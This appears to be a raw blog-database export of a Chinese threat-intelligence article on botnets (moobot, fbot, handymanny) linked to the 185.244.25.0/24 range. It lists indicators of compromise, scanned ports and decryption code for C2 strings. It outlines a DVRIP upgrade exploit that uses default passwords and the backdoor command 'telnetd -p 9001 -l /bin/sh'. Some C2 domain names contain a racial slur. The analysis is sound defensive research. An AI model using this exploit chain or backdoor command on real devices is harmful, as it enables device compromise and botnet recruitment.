MD5\n```\nf41464471a0ac9c165e4aeb55283934e\n420bb6147ca091a22f8f5bbbb49d51f3\n7b1943ff6c563ce1043963e2f017ad8d\n53bb43411ecbad39b18b0662b53c07a0\n1899667e48c64b113c0de54cf3bb63d5\n```\n\n### Mirai.shiina CC\n```\n34.80.131.135\nshiina.mashiro.tk\nluckyhere.mashiro.tk\nimtesting.shiina.ga\n```\n\n### Mirai.shiina Sample MD5\n```\n77e7dd8982e7bb21d536264f0635d5cb\n209a78969d88c667c32e550ce47b8ff9\n0cf288e07e888cd7748b30fa4a67ca84\nf6e9f3567684a0a7402ad97209b8525b\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d4c08770bbc140007c582bd |
post | null | 2019-09-23T11:47:59.000Z | 63873b9a8b1c1e0007f52f57 | the-botnet-cluster-on-185-244-25-0-24-2 | 0 | 2019-09-27T04:16:52.000Z | public | published | null | 2019-09-27T03:35:17.000Z | 那些和185.244.25.0/24网段有关的Botnet | <!--kg-card-begin: markdown--><p>根据我们的观察，过去几年185.244.25.0/24这个网段出现了超多的Botnet，包括但不仅限于mirai、gafgyt、tsunami、fbot、moobot、handymanny等，他们属于同一个组织或共享了相关代码。下表是过去一年我们关于该网段的一些统计数据。可以看出该网段有很多的CC和攻击行为。</p>
<table>
<thead>
<tr>
<th>Count of CC (host:port)</th>
<th>Count of attack target host</th>
<th>Count of downloader IP</th>
<th>Count of loader IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>416</td>
<td>36933</td>
<td>166</td>
<td>181</td>
</tr>
</tbody>
</table>
<p>本文主要介绍和该网段有关最近比较活跃/有趣的几个Botnet家族，包括moobot、fbot、handymanny等。</p>
<p>对于其他Botnet为了方便读者了解该网段下具体有那些Botnet及其变种，我们用该网段下的Loader IP植入样本阶段使用的关键字生成一张Tag cloud图，大致反应该网段下有那些Botnet及其变种。如下图所示：<br>
<a href="__GHOST_URL__/content/images/2019/09/g185.branch.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/09/g185.branch.min.png" /></a></p>
<h1 id="moobot">moobot</h1>
<p>moobot基于mirai开发。有很多个版本，根据其CC协议和编程语言的不同我们大致可将其分为moobot.socks5，moobot.tor，moobot.tor.b，moobot.go，moobot.go.tor，moobot.c等几个版本。其中moobot.c使用185.244.25.219作为Downloader，可以看出他和185.244.25.0/24网段有关。moobot各版本相关样本：</p>
<blockquote>
<h3 id="moobotsocks5">moobot.socks5</h3>
<p>First seen: 2019-07-15 10:10:47<br>
MD5: 70f1df04d4384422ba746a92940c0138<br>
Downloader: <code>http://89.248[.174.198/main/x86</code><br>
Downloader: <code>http://93.174[.93.191:80/accn/kuojin.x86</code><br>
CC: n1gger.com:23<br>
该版本的moobot 使用socks5协议和CC通信，样本扫描TCP/34567(DVRIP)，TCP/9527端口</p>
<h3 id="moobottor">moobot.tor</h3>
<p>First seen: 2019-07-17 07:41:00<br>
MD5: eebca17df98350fa127fef978a5cccde<br>
Downloader: <code>http://185.100[.84.187:80/t/t.arm7</code><br>
Reporter: audi.n1gger.com:49567<br>
CC: nd3rwzslqhxibkl7.onion:1356<br>
CC使用tor域名，扫描34567，9527端口</p>
<h3 id="moobottorb">moobot.tor.b</h3>
<p>First seen: 2019-08-09 02:25:24<br>
MD5: 79351b97ad07f77d336e38afcb213868<br>
Downloader: <code>http://91.92[.66.192/rt/mips</code><br>
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 91.92.66.192<br>
CC:dbkjbueuvmf5hh7z.onion:10444<br>
CC协议在mirai的基础上有微小修改</p>
<h3 id="moobotgo">moobot.go</h3>
<p>First seen: 2019-08-16 09:41:19<br>
MD5: c15fe4dc2f063b135d2bb83c35d75289<br>
Downloader: <code>http://91.92[.66.192/bins/x86</code><br>
CC: 31.13.195.56 port=18337<br>
moobot golang版本</p>
<h3 id="moobotgotor">moobot.go.tor</h3>
<p>First seen: 2019-08-20 07:38:05<br>
MD5: 168d0af614dc8513579d8436c930db76<br>
Downloader: <code>http://89.248[.174.219/moo/x86</code><br>
CC: sisuugde7gzpef2d.onion:14995<br>
moobot golang版本，CC使用tor域名</p>
<h3 id="moobotc">moobot.c</h3>
<p>First seen: 2019-08-21 02:23:48<br>
MD5: 527572a2a28807766569c0870558e807<br>
Downloader: <code>http://185.244[.25.219/bins/armv7l</code><br>
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 31.13.195.56<br>
moobot无代理版本，CC IP和moobot.go相同，使用<code>185.244.25.219/24</code>网段ip作为downloader</p>
</blockquote>
<h2 id="moobot">moobot端口扫描及漏洞利用</h2>
<h3 id="">端口扫描</h3>
<p>当前moobot延用mirai扫描机制，Bot全网扫描，将扫描结果上报给Loader，再由Loader植入样本。从我们的<a href="https://scan.netlab.360.com/#/dashboard?tsbeg=1568815200000&tsend=1569315600000&dstport=1588&toplistname=similardstport&topn=10&sortby=sum">ScanMon</a>结果看最近7天其感染IP 60K左右。值得一提的是，当前moobot扫描很多端口，包括DVRIP/ADB/HTTP/TELNET相关的端口，但单个Bot样本并不同时扫描所有端口，而是由多个不同的Bot样本共同完成这些端口扫描。这也许是为了提高Bot扫描效率？当前moobot主要扫描以下端口：</p>
<ul>
<li>DVRIP/34567</li>
<li>HTTP/80, 81, 82, 83, 84, 85, 88, 1588, 5984, 8000, 8080, 8081, 8181, 8888, 9090, 9200, 60001[<a href="https://twitter.com/MasafumiNegishi/status/1175988802805846016">1]</a>。对于HTTP服务，Bot查找如下图所示的HTTP Server，然后上报给Loader用来后续植入样本。<br>
<a href="__GHOST_URL__/content/images/2019/09/moo_banner.png"><img src="__GHOST_URL__/content/images/2019/09/moo_banner.png" class="kg-image"/></a></li>
<li>ADB/5555</li>
<li>TELNET/23</li>
</ul>
<p>扫描源地理位置分布：</p>
<pre><code> 7913 Brazil
5749 China
5305 Viet Nam
4514 Thailand
4510 Uruguay
3685 Italy
3070 Russian Federation
2440 Argentina
2410 Turkey
2073 Malaysia
2068 Republic of Korea
1783 India
1594 Germany
1554 United States
1433 Iran
1132 Mexico
1062 Spain
967 United Kingdom
946 Morocco
937 Greece
798 Indonesia
782 Venezuela
774 Pakistan
758 Romania
632 Japan
577 Chile
497 Poland
477 Qatar
472 South Africa
456 Israel
455 Dominican
417 Ukraine
415 Colombia
407 Egypt
376 Hungary
370 Tunisia
322 France
295 Kazakhstan
279 Saudi Arabia
273 Australia
271 Singapore
244 Bulgaria
232 United Arab Emirates
185 Canada
136 Jordan
120 Oman
114 Serbia
112 Portugal
101 Puerto Rico
</code></pre>
<h3 id="">漏洞利用</h3>
<p>moobot对于HTTP，ADB，TELNET的利用都是已知的，这里不在獒述。下面主要说明其对DVRIP(port 34567)协议的漏洞利用。我们发现最早利用这个漏洞的是<a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">Fbot</a>，但当时没有详细说明该漏洞是如何利用的，下面对这部分作简要说明。moobot主要利用DVRIP升级接口上传升级文件，执行升级文件中的shell命令完成后门开启，然后通过该后门后门植入恶意样本，过程大致如下：</p>
<ul>
<li>
<p>构造名为InstallDesc的DVRIP升级配置压缩文件。主要内容如下，可以看出该配置主要为了执行<code>telnetd -p 9001 -l /bin/sh</code>开启后门，此处后门端口为TCP/9001：<br>
<a href="__GHOST_URL__/content/images/2019/09/moo_telnet.png"><img src="__GHOST_URL__/content/images/2019/09/moo_telnet.png" class="kg-image"/></a></p>
</li>
<li>
<p>利用DVRIP默认密码登录目标设备<br>
<img src="__GHOST_URL__/content/images/2019/09/moobot.dvrip.png" alt="moobot.dvrip" loading="lazy"></p>
</li>
<li>
<p>通过DVRIP升级接口上传升级文件InstallDesc到目标设备<br>
<img src="__GHOST_URL__/content/images/2019/09/dvrip.upgrade.png" alt="dvrip.upgrade" loading="lazy"></p>
</li>
<li>
<p>DVRIP服务执行升级过程，执行升级配置文件中的shell命令，开启后门</p>
</li>
<li>
<p>Loader通过该后门植入Bot样本</p>
</li>
</ul>
<h2 id="moobot">moobot相关的攻击事件</h2>
<p>我们观察到moobot攻击了很多流行站点/重要服务。包括DNS ROOT，Twitter, Facebook, Pornhub, <a href="https://wikimediafoundation.org/news/2019/09/07/malicious-attack-on-wikipedia-what-we-know-and-what-were-doing/">Wikimedia</a>, <a href="https://twitter.com/MasafumiNegishi/status/1170881367871082497">Twitch, World of Warcraft Server</a>, Google，Baidu， Alibaba，Krebs on Security等。攻击这么多流行站点的目的据一名为<a href="https://www.genelmag.com/article/ddos-attack-on-twitch-and-wow-servers">UKDrillas</a>的黑客或客户组织称是为了测试该Botnet的攻击效果。部分moobot攻击目标对应的SLD如下图所示:<br>
<a href="__GHOST_URL__/content/images/2019/09/atk.sld.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/09/atk.sld.min-1.png" /></a></p>
<h2 id="moobot">moobot加密方式</h2>
<p>moobot资源加密使用和<a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">fbot</a>相似的加密方式。加密方式为码表替换，字串反序，无XOR，解密代码如下(相关样本<code>0f8c6a64bac73e83eef94b3ec333c93a</code>)：</p>
<pre><code>tab1_enc = '''
AA AB AC AD AE AF BA BB BC BD BE BF CA CB CC CD CE
CF DA DB DC DE DF EA EB EC ED EF FA FB FC FD FE FF
A1 A2 A3 A4 A5 A6 A7 A8 A9 B1 B2 B3 B4 B5 B6 B7 B8
B9 C1 C2 C3 C4 C5 C6 C7 C8 C9 D1 D2 D3 D4 D5 D6 D7
D8 D9 E1 E2 E3 E4 E5 E6 E7 E8 E9 F1 F2 F3 F4 F5 F6
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
7A 37 75 4E 42 63 33 20 61 32 4C 54 23 76 4A 48 38
49 25 62 46 77 6B 68 2F 22 73 3B 55 24 65 53 3A 44
5A 43 6A 45 6D 59 78 57 70 74 7C 6F 3E 26 66 64 2D
35 47 39 71 52 4D 40 7E 34 51 30 79 58 6C 67 41 4B
50 36 69 31 56 72 4F 5C 29 5D 2E 28 5B 6E 7B 7D 2C
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x00)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
</code></pre>
<p>解密示例</p>
<pre><code>slogan='''
B3 B3 A5 BB ED D2 BC ED BB DE B3 AF BB FC EA BF
'''.replace(' ', '').replace('\n','').decode('hex')
c2_addr='''
A5 B3 AF E9 E4 FC D5 D5 E2 F3 E9 D2 B1 E4 BC A9
B7 E1 BC D4 B3 B3 AF FC EA B1 B1 BC D2 BC B7 E4
FC D5 D5 E1 F3 D4 BC AF E1 A9 D2 B1
'''.replace(' ', '').replace('\n','').decode('hex')
print (decrypt(slogan)[::-1])
#The cow says moo
print (decrypt(c2_addr)[::-1])
#typicalniggerdayatthecoolaidparty.n1gger.com
</code></pre>
<h1 id="fbot">fbot</h1>
<p>fbot和moobot.go.tor使用相同的Downloader<code>89.248.174.219</code>，相似的加密技术，CC域名都使用TXT记录等特点。我们认为fbot和moobot是有关系的。属于同一个组织或者不同组织共享相关的代码。相关样本：</p>
<blockquote>
<p>First seen: 2019-08-15 06:35:15<br>
MD5: beab327053b17556e80338efdf0b2e19<br>
Downloader: <code>http://89.248[.174.219:80/bins/x86</code><br>
CC: ohyaya.raiseyourdongers.pw TXT 5.206.227.65</p>
</blockquote>
<h2 id="fbot">fbot加密方式</h2>
<p>fbot资源加密方式为码表替换，XOR加密，解密代码如下：</p>
<pre><code>tab1_enc = '''
14 15 0A 1D 1F 08 0E 00 01 17 1A 03 0B 09 16
12 1E 10 0C 0D 18 1B 0F 11 1C 13 2D 3F 28 36
34 38 3C 3A 31 35 20 37 2C 3D 2E 2F 33 2B 21
30 3E 32 23 2A 3B 29 6E 61 60 69 6B 6C 6D 68 6F 6A 64 19 07 7D
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
18 1B 1A 1D 1C 1F 1E 11 10 13 12 15 14 17 16
09 08 0B 0A 0D 0C 0F 0E 01 00 03 38 3B 3A 3D
3C 3F 3E 31 30 33 32 35 34 37 36 29 28 2B 2A
2D 2C 2F 2E 21 20 23 69 68 6B 6A 6D 6C 6F 6E 61 60 77 76 79 74
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x59)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
</code></pre>
<p>解密示例</p>
<pre><code>c2="wcbtbt=rthxmbwgrowdemrx=vz"
print decrypt(c2)
#ohyaya.raiseyourdongers.pw
</code></pre>
<p>如果想了解更多fbot的信息可翻阅我们以前的相关文章。[<a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">1]</a>[<a href="__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/">2]</a></p>
<h1 id="handymanny">handymanny</h1>
<p><a href="https://twitter.com/liuya0904/status/1171633662502350848">handymanny</a>和brickbot、Silex等Botnet类似，主要是破坏目标设备系统，让目标设备无法正常工作。样本由Loader通过telnet植入，Loader IP<code>185.244.25.200</code>，这说明handymanny和185.244.25.200/24网段也是有关的。相关样本：</p>
<blockquote>
<p>First seen: 2019-09-08 20:03:11<br>
MD5: 1fcfcb14304c586f12dc410546a3a5b7<br>
Downloader: <code>http://185.112[.82.89:80/bins/arm.handymanny</code><br>
Loader IP: 185.244.25.200<br>
CC: 185.112.82.89:123</p>
</blockquote>
<p>其破坏目标系统相关操作如下图所示：<br>
<img src="__GHOST_URL__/content/images/2019/09/EEJ6l6AXkAECNgY.min.png" alt="EEJ6l6AXkAECNgY.min" loading="lazy"></p>
<h1 id="ioc">部分IoC</h1>
<h3 id="moobot">moobot</h3>
<pre><code>md5:
40507d0675bee829311f1f67622dded9
70f1df04d4384422ba746a92940c0138
eebca17df98350fa127fef978a5cccde
79351b97ad07f77d336e38afcb213868
c15fe4dc2f063b135d2bb83c35d75289
168d0af614dc8513579d8436c930db76
527572a2a28807766569c0870558e807
0f8c6a64bac73e83eef94b3ec333c93a
CC:
31.13.195.56
audi.n1gger.com
botnetisharam.com
dbkjbueuvmf5hh7z.onion
n1gger.com
nd3rwzslqhxibkl7.onion
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
URL:
http://89.248[.174.198/main/x86
http://93.174[.93.191:80/accn/kuojin.x86
http://185.100[.84.187:80/t/t.arm7
http://91.92[.66.192/rt/mips
http://91.92[.66.192/bins/x86
http://89.248[.174.219/moo/x86
http://185.244[.25.219/bins/armv7l
</code></pre>
<h3 id="fbot">fbot</h3>
<pre><code>md5:
beab327053b17556e80338efdf0b2e19
CC:
ohyaya.raiseyourdongers.pw
URL:
http://89.248[.174.219:80/bins/x86
</code></pre>
<h3 id="handymanny">handymanny</h3>
<pre><code>md5:
1fcfcb14304c586f12dc410546a3a5b7
453ac5c036c000827e291a5a58500f47
48032f646f6d14f946ab389a6b13000c
60f3cf7c5c0152d99cde53df7fb4e349
6a084828f8e33b3d6257667b938c5ae9
6e37aac9706d8f98172ff533ce6d660c
7309c3bb936c36bb53f065300f901cd4
7b7c455340a216e1e83b361080104980
7e472aae22796128f4c314e68a294d30
8c8bb10919266e6bd437de76e42e97dd
a17465a1232e2b3e18bb7a0a1cf4333d
a1f7f4fa878ab96f649f885a8769bb2b
a460e1ce45003d63d5f864eae38622ba
a8d02b5451c020f16f7a2b80a5491bb2
c4c608be28017a633d37607dae4975ab
ceb810beae3be334e2e598c94f264c09
d1d9b19cd6f287801d7063f7cddd0d50
ddf54946d4ab87fd12d61b758cd0f0a1
e4d954a693a2191afd360bd9e201182a
e8070d7e00c4b86dd2f929712d670c17
CC:
185.112.82.89
Loader IP:
185.244.25.200
URL:
http://185.112[.82.89:80/bins/arm.handymanny
</code></pre>
<!--kg-card-end: markdown--> | 根据我们的观察，过去几年185.244.25.0/24这个网段出现了超多的Botnet，包括但不仅限于mirai、gafgyt、tsunami、fbot、moobot、handymanny等，他们属于同一个组织或共享了相关代码。下表是过去一年我们关于该网段的一些统计数据。可以看出该网段有很多的CC和攻击行为。
Count of CC (host:port)
Count of attack target host
Count of downloader IP
Count of loader IP
416
36933
166
181
本文主要介绍和该网段有关最近比较活跃/有趣的几个Botnet家族，包括moobot、fbot、handymanny等。
对于其他Botnet为了方便读者了解该网段下具体有那些Botnet及其变种，我们用该网段下的Loader IP植入样本阶段使用的关键字生成一张Tag cloud图，大致反应该网段下有那些Botnet及其变种。如下图所示：
moobot
moobot基于mirai开发。有很多个版本，根据其CC协议和编程语言的不同我们大致可将其分为moobot.socks5，moobot.tor，moobot.tor.b，moobot.go，moobot.go.tor，moobot.c等几个版本。其中moobot.c使用185.244.25.219作为Downloader，可以看出他和185.244.25.0/24网段有关。moobot各版本相关样本：
moobot.socks5
First seen: 2019-07-15 10:10:47
MD5: 70f1df04d4384422ba746a92940c0138
Downloader: http://89.248[.174.198/main/x86
Downloader: http://93.174[.93.191:80/accn/kuojin.x86
CC: n1gger.com:23
该版本的moobot 使用socks5协议和CC通信，样本扫描TCP/34567(DVRIP)，TCP/9527端口
moobot.tor
First seen: 2019-07-17 07:41:00
MD5: eebca17df98350fa127fef978a5cccde
Downloader: http://185.100[.84.187:80/t/t.arm7
Reporter: audi.n1gger.com:49567
CC: nd3rwzslqhxibkl7.onion:1356
CC使用tor域名，扫描34567，9527端口
moobot.tor.b
First seen: 2019-08-09 02:25:24
MD5: 79351b97ad07f77d336e38afcb213868
Downloader: http://91.92[.66.192/rt/mips
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 91.92.66.192
CC:dbkjbueuvmf5hh7z.onion:10444
CC协议在mirai的基础上有微小修改
moobot.go
First seen: 2019-08-16 09:41:19
MD5: c15fe4dc2f063b135d2bb83c35d75289
Downloader: http://91.92[.66.192/bins/x86
CC: 31.13.195.56 port=18337
moobot golang版本
moobot.go.tor
First seen: 2019-08-20 07:38:05
MD5: 168d0af614dc8513579d8436c930db76
Downloader: http://89.248[.174.219/moo/x86
CC: sisuugde7gzpef2d.onion:14995
moobot golang版本，CC使用tor域名
moobot.c
First seen: 2019-08-21 02:23:48
MD5: 527572a2a28807766569c0870558e807
Downloader: http://185.244[.25.219/bins/armv7l
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 31.13.195.56
moobot无代理版本，CC IP和moobot.go相同，使用185.244.25.219/24网段ip作为downloader
moobot端口扫描及漏洞利用
端口扫描
当前moobot延用mirai扫描机制，Bot全网扫描，将扫描结果上报给Loader，再由Loader植入样本。从我们的ScanMon结果看最近7天其感染IP 60K左右。值得一提的是，当前moobot扫描很多端口，包括DVRIP/ADB/HTTP/TELNET相关的端口，但单个Bot样本并不同时扫描所有端口，而是由多个不同的Bot样本共同完成这些端口扫描。这也许是为了提高Bot扫描效率？当前moobot主要扫描以下端口：
* DVRIP/34567
* HTTP/80, 81, 82, 83, 84, 85, 88, 1588, 5984, 8000, 8080, 8081, 8181, 8888, 9090, 9200, 60001[1]。对于HTTP服务，Bot查找如下图所示的HTTP Server，然后上报给Loader用来后续植入样本。
* ADB/5555
* TELNET/23
扫描源地理位置分布：
7913 Brazil
5749 China
5305 Viet Nam
4514 Thailand
4510 Uruguay
3685 Italy
3070 Russian Federation
2440 Argentina
2410 Turkey
2073 Malaysia
2068 Republic of Korea
1783 India
1594 Germany
1554 United States
1433 Iran
1132 Mexico
1062 Spain
967 United Kingdom
946 Morocco
937 Greece
798 Indonesia
782 Venezuela
774 Pakistan
758 Romania
632 Japan
577 Chile
497 Poland
477 Qatar
472 South Africa
456 Israel
455 Dominican
417 Ukraine
415 Colombia
407 Egypt
376 Hungary
370 Tunisia
322 France
295 Kazakhstan
279 Saudi Arabia
273 Australia
271 Singapore
244 Bulgaria
232 United Arab Emirates
185 Canada
136 Jordan
120 Oman
114 Serbia
112 Portugal
101 Puerto Rico
漏洞利用
moobot对于HTTP，ADB，TELNET的利用都是已知的，这里不在獒述。下面主要说明其对DVRIP(port 34567)协议的漏洞利用。我们发现最早利用这个漏洞的是Fbot，但当时没有详细说明该漏洞是如何利用的，下面对这部分作简要说明。moobot主要利用DVRIP升级接口上传升级文件，执行升级文件中的shell命令完成后门开启，然后通过该后门后门植入恶意样本，过程大致如下：
*
构造名为InstallDesc的DVRIP升级配置压缩文件。主要内容如下，可以看出该配置主要为了执行telnetd -p 9001 -l /bin/sh开启后门，此处后门端口为TCP/9001：
*
利用DVRIP默认密码登录目标设备
*
通过DVRIP升级接口上传升级文件InstallDesc到目标设备
*
DVRIP服务执行升级过程，执行升级配置文件中的shell命令，开启后门
*
Loader通过该后门植入Bot样本
moobot相关的攻击事件
我们观察到moobot攻击了很多流行站点/重要服务。包括DNS ROOT，Twitter, Facebook, Pornhub, Wikimedia, Twitch, World of Warcraft Server, Google，Baidu， Alibaba，Krebs on Security等。攻击这么多流行站点的目的据一名为UKDrillas的黑客或客户组织称是为了测试该Botnet的攻击效果。部分moobot攻击目标对应的SLD如下图所示:
moobot加密方式
moobot资源加密使用和fbot相似的加密方式。加密方式为码表替换，字串反序，无XOR，解密代码如下(相关样本0f8c6a64bac73e83eef94b3ec333c93a)：
tab1_enc = '''
AA AB AC AD AE AF BA BB BC BD BE BF CA CB CC CD CE
CF DA DB DC DE DF EA EB EC ED EF FA FB FC FD FE FF
A1 A2 A3 A4 A5 A6 A7 A8 A9 B1 B2 B3 B4 B5 B6 B7 B8
B9 C1 C2 C3 C4 C5 C6 C7 C8 C9 D1 D2 D3 D4 D5 D6 D7
D8 D9 E1 E2 E3 E4 E5 E6 E7 E8 E9 F1 F2 F3 F4 F5 F6
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
7A 37 75 4E 42 63 33 20 61 32 4C 54 23 76 4A 48 38
49 25 62 46 77 6B 68 2F 22 73 3B 55 24 65 53 3A 44
5A 43 6A 45 6D 59 78 57 70 74 7C 6F 3E 26 66 64 2D
35 47 39 71 52 4D 40 7E 34 51 30 79 58 6C 67 41 4B
50 36 69 31 56 72 4F 5C 29 5D 2E 28 5B 6E 7B 7D 2C
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x00)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
解密示例
slogan='''
B3 B3 A5 BB ED D2 BC ED BB DE B3 AF BB FC EA BF
'''.replace(' ', '').replace('\n','').decode('hex')
c2_addr='''
A5 B3 AF E9 E4 FC D5 D5 E2 F3 E9 D2 B1 E4 BC A9
B7 E1 BC D4 B3 B3 AF FC EA B1 B1 BC D2 BC B7 E4
FC D5 D5 E1 F3 D4 BC AF E1 A9 D2 B1
'''.replace(' ', '').replace('\n','').decode('hex')
print (decrypt(slogan)[::-1])
#The cow says moo
print (decrypt(c2_addr)[::-1])
#typicalniggerdayatthecoolaidparty.n1gger.com
fbot
fbot和moobot.go.tor使用相同的Downloader89.248.174.219，相似的加密技术，CC域名都使用TXT记录等特点。我们认为fbot和moobot是有关系的。属于同一个组织或者不同组织共享相关的代码。相关样本：
First seen: 2019-08-15 06:35:15
MD5: beab327053b17556e80338efdf0b2e19
Downloader: http://89.248[.174.219:80/bins/x86
CC: ohyaya.raiseyourdongers.pw TXT 5.206.227.65
fbot加密方式
fbot资源加密方式为码表替换，XOR加密，解密代码如下：
tab1_enc = '''
14 15 0A 1D 1F 08 0E 00 01 17 1A 03 0B 09 16
12 1E 10 0C 0D 18 1B 0F 11 1C 13 2D 3F 28 36
34 38 3C 3A 31 35 20 37 2C 3D 2E 2F 33 2B 21
30 3E 32 23 2A 3B 29 6E 61 60 69 6B 6C 6D 68 6F 6A 64 19 07 7D
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
18 1B 1A 1D 1C 1F 1E 11 10 13 12 15 14 17 16
09 08 0B 0A 0D 0C 0F 0E 01 00 03 38 3B 3A 3D
3C 3F 3E 31 30 33 32 35 34 37 36 29 28 2B 2A
2D 2C 2F 2E 21 20 23 69 68 6B 6A 6D 6C 6F 6E 61 60 77 76 79 74
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x59)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
解密示例
c2="wcbtbt=rthxmbwgrowdemrx=vz"
print decrypt(c2)
#ohyaya.raiseyourdongers.pw
如果想了解更多fbot的信息可翻阅我们以前的相关文章。[1][2]
handymanny
handymanny和brickbot、Silex等Botnet类似，主要是破坏目标设备系统，让目标设备无法正常工作。样本由Loader通过telnet植入，Loader IP185.244.25.200，这说明handymanny和185.244.25.200/24网段也是有关的。相关样本：
First seen: 2019-09-08 20:03:11
MD5: 1fcfcb14304c586f12dc410546a3a5b7
Downloader: http://185.112[.82.89:80/bins/arm.handymanny
Loader IP: 185.244.25.200
CC: 185.112.82.89:123
其破坏目标系统相关操作如下图所示：
部分IoC
moobot
md5:
40507d0675bee829311f1f67622dded9
70f1df04d4384422ba746a92940c0138
eebca17df98350fa127fef978a5cccde
79351b97ad07f77d336e38afcb213868
c15fe4dc2f063b135d2bb83c35d75289
168d0af614dc8513579d8436c930db76
527572a2a28807766569c0870558e807
0f8c6a64bac73e83eef94b3ec333c93a
CC:
31.13.195.56
audi.n1gger.com
botnetisharam.com
dbkjbueuvmf5hh7z.onion
n1gger.com
nd3rwzslqhxibkl7.onion
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
URL:
http://89.248[.174.198/main/x86
http://93.174[.93.191:80/accn/kuojin.x86
http://185.100[.84.187:80/t/t.arm7
http://91.92[.66.192/rt/mips
http://91.92[.66.192/bins/x86
http://89.248[.174.219/moo/x86
http://185.244[.25.219/bins/armv7l
fbot
md5:
beab327053b17556e80338efdf0b2e19
CC:
ohyaya.raiseyourdongers.pw
URL:
http://89.248[.174.219:80/bins/x86
handymanny
md5:
1fcfcb14304c586f12dc410546a3a5b7
453ac5c036c000827e291a5a58500f47
48032f646f6d14f946ab389a6b13000c
60f3cf7c5c0152d99cde53df7fb4e349
6a084828f8e33b3d6257667b938c5ae9
6e37aac9706d8f98172ff533ce6d660c
7309c3bb936c36bb53f065300f901cd4
7b7c455340a216e1e83b361080104980
7e472aae22796128f4c314e68a294d30
8c8bb10919266e6bd437de76e42e97dd
a17465a1232e2b3e18bb7a0a1cf4333d
a1f7f4fa878ab96f649f885a8769bb2b
a460e1ce45003d63d5f864eae38622ba
a8d02b5451c020f16f7a2b80a5491bb2
c4c608be28017a633d37607dae4975ab
ceb810beae3be334e2e598c94f264c09
d1d9b19cd6f287801d7063f7cddd0d50
ddf54946d4ab87fd12d61b758cd0f0a1
e4d954a693a2191afd360bd9e201182a
e8070d7e00c4b86dd2f929712d670c17
CC:
185.112.82.89
Loader IP:
185.244.25.200
URL:
http://185.112[.82.89:80/bins/arm.handymanny
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"根据我们的观察，过去几年185.244.25.0/24这个网段出现了超多的Botnet，包括但不仅限于mirai、gafgyt、tsunami、fbot、moobot、handymanny等，他们属于同一个组织或共享了相关代码。下表是过去一年我们关于该网段的一些统计数据。可以看出该网段有很多的CC和攻击行为。\n| Count of CC (host:port)| Count of attack target host | Count of downloader IP | Count of loader IP |\n| ----------- | --------------------------- | ------------------- | ---------- |\n| 416 | 36933 | 166 | 181 |\n\n本文主要介绍和该网段有关最近比较活跃/有趣的几个Botnet家族，包括moobot、fbot、handymanny等。\n\n对于其他Botnet为了方便读者了解该网段下具体有那些Botnet及其变种，我们用该网段下的Loader IP植入样本阶段使用的关键字生成一张Tag cloud图，大致反应该网段下有那些Botnet及其变种。如下图所示：\n<a href=\"__GHOST_URL__/content/images/2019/09/g185.branch.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/09/g185.branch.min.png\" /></a>\n\n# moobot\nmoobot基于mirai开发。有很多个版本，根据其CC协议和编程语言的不同我们大致可将其分为moobot.socks5，moobot.tor，moobot.tor.b，moobot.go，moobot.go.tor，moobot.c等几个版本。其中moobot.c使用185.244.25.219作为Downloader，可以看出他和185.244.25.0/24网段有关。moobot各版本相关样本：\n> ### moobot.socks5\n> First seen: 2019-07-15 10:10:47\n> MD5: 70f1df04d4384422ba746a92940c0138\n> Downloader: `http://89.248[.174.198/main/x86`\n> Downloader: `http://93.174[.93.191:80/accn/kuojin.x86`\n> CC: n1gger.com:23\n> 该版本的moobot 使用socks5协议和CC通信，样本扫描TCP/34567(DVRIP)，TCP/9527端口\n> \n> ### moobot.tor\n> First seen: 2019-07-17 07:41:00\n> MD5: eebca17df98350fa127fef978a5cccde\n> Downloader: `http://185.100[.84.187:80/t/t.arm7`\n> Reporter: audi.n1gger.com:49567\n> CC: nd3rwzslqhxibkl7.onion:1356\n> CC使用tor域名，扫描34567，9527端口\n>\n> ### moobot.tor.b\n> First seen: 2019-08-09 02:25:24\n> MD5: 79351b97ad07f77d336e38afcb213868\n> Downloader: `http://91.92[.66.192/rt/mips`\n> CC: typicalniggerdayatthecoolaidparty.n1gger.com 